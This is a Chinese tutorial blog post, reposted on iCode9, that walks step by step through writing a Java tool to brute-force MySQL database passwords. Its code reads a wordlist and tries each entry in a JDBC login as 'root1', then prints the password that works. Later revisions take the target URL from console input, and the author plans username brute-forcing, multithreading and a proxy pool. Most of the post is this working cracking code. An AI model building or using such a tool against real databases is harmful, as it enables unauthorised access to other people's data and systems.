ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

记--一个数据库密码爆破工具的成长历程(1)

2020-12-11 02:03:29  阅读:314  来源: 互联网

标签:爆破 String -- 数据库 System 密码 println new password


写一个数据库密码爆破工具

目前完成:

package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class sql {
    public static void main(String[] args) throws IOException {
        String path = "";
        File file = new File("C://a/password.txt");
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = "jdbc:mysql:///db1";
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确");
                    System.out.println("正确密码是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面的代码,完成了下面几件事。

  1. 首先,先确定了字典的位置,然后使用循环逐行读取字典的内容。
  2. 利用try--catch来将登陆成功和失败区分
  3. 最后在登录成功之后,使用输出语句,将密码打印出来。

代码思路分析

想要写一个数据库密码爆破工具,首先在代码里面,我们肯定需要进行数据库的连接,也就是下面的这段代码。

Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";                    
String username = "root1"
String password = "password";
Connection conn = DriverManager.getConnection(url,username,password);

学过jdbc的看懂这段代码没啥问题,但是要考虑一点,我们的目的是为了写一个数据库密码的爆破工具,利用burp进行弱口令爆破的时候,我们需要进行的操作是将需要变换的值变成变量。java里面显然是无法这么智能,但是也能让我们理清一条思路,就是我们想要完成数据库密码的爆破,首先,我们需要设置一个循环,让这个获取连接的操作不断进行,利用连接成功和失败的不同反馈来判断连接是否成功。

不断进行同一个操作,我们就需要用到循环。

判断连接是否成功,我们就需要用到if判断。当然,因为我们连接数据库是利用了try--catch来进行的,而数据库的连接会报错,所以我们可以利用try--catch来进行判断,而不需要自己写一个循环。

所以,代码就会变成这个样子。

for (int i = 0; i < 1000; i++) {
            try {
                Class.forName("com.mysql.jdbc.Driver");
                String url = "jdbc:mysql:///db1";
                String username = "root1";
                String password = "password";
                Connection conn = DriverManager.getConnection(url,username,password);
                System.out.println("密码正确,登录成功");
            } catch (ClassNotFoundException | SQLException e) {
                System.out.println("密码错误,登录失败");
            }
        }
 }

达到这一步之后,运行代码可以得到的结果是,虽然目前完成了密码的判断和循环操作,但是首先,我们的循环次数不应该定义成一个固定值,因为假设我们登录成功之后,就不需要继续往下继续循环,而且,字典的长度如果达不到循环定义的最大值,也会出现问题。

而在这一步完成之后,还有一点需要考虑的是,我们不能每运行一次代码,就手动的修改一次密码。这跟我们自己测试账号密码的没有任何区别。

所以下一步我们要做的就是,优化循环次数,将密码从文件中导入到代码里面。

 	   String path = "C://a/password.txt";
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = "jdbc:mysql:///db1";
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确");
                    System.out.println("正确密码是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }

这里,我本来是想利用FileInputStream来完成这一步的,但是我找了一些之前写的文章,发现我并没有办法使用FIleInputStream来完成一个动态读取单行的字符。

所以我在网上找了另外一种方式,经过测试之后发现确实有效,因为这种方法我了解的并不多,只是测试之后发现代码可以使用,所以这里就不多解释。

而目前,所能达到的效果是,通过修改path的值,可以修改每次爆破使用的字典。

循环也可以完成读取到字典的最后一行就截至,不会在字典结束之后依然继续运行。

通过connection对象获取成功和失败的不同表现,也可以在字典中获取到正确的密码。

优化思路

刚才的代码其实也可以发现,想要使用这个工具,必须要有一定的代码功底,这就导致了代码的适用性不是特别强。

比如说字典的位置的定义,数据库位置的定义,用户名不变,单纯的爆破密码。所以,如果这些内容是可以通过用户输入控制的,就能大大增加适用性。

目前想到的优化:

  1. 使用scanner从控制台读取字典位置和数据库位置
  2. 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
  3. 密码都写了,不妨吧数据库的地址和账号密码一起写入。
  4. 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
  5. 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
  6. 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。

实施过程

有了优化思路,就要开始实施,因为目前暂时没打算做图形化的页面,所以用户指定字典位置和数据库地址我打算从控制台读取。至于后面改造成图形化之后要怎么使用,另外再说。

  1. 优化第一步,使用scanner从控制台读取字典位置和数据库位置。
package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;

public class sql {
    public static void main(String[] args) throws IOException {
        Scanner sc1 = new Scanner(System.in);
        System.out.println("请输入爆破字典地址(绝对路径)");
        String zdadd = sc1.next();
        Scanner sc2 = new Scanner(System.in);
        System.out.println("请输入数据库地址(jdbc格式)");
        String sqladd = sc2.next();
        String path = zdadd;
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = sqladd;
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确");
                    System.out.println("正确密码是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在做到这一步优化的时候,我突然想到,jdbc可能也不会每个人都能理解,所以,在格式上,可能会出现问题,并且,之前在学jdbc的时候,有学过吧注册驱动,配置连接这些步骤写入到配置文件中,当需要修改的时候,只需要修改配置文件,读取的数据的时候,则从配置文件中读取。

这个可能在这个地方不太适用,但可能也是后期优化的一个点。

标签:爆破,String,--,数据库,System,密码,println,new,password
来源: https://www.cnblogs.com/Xiaoming0/p/14118364.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有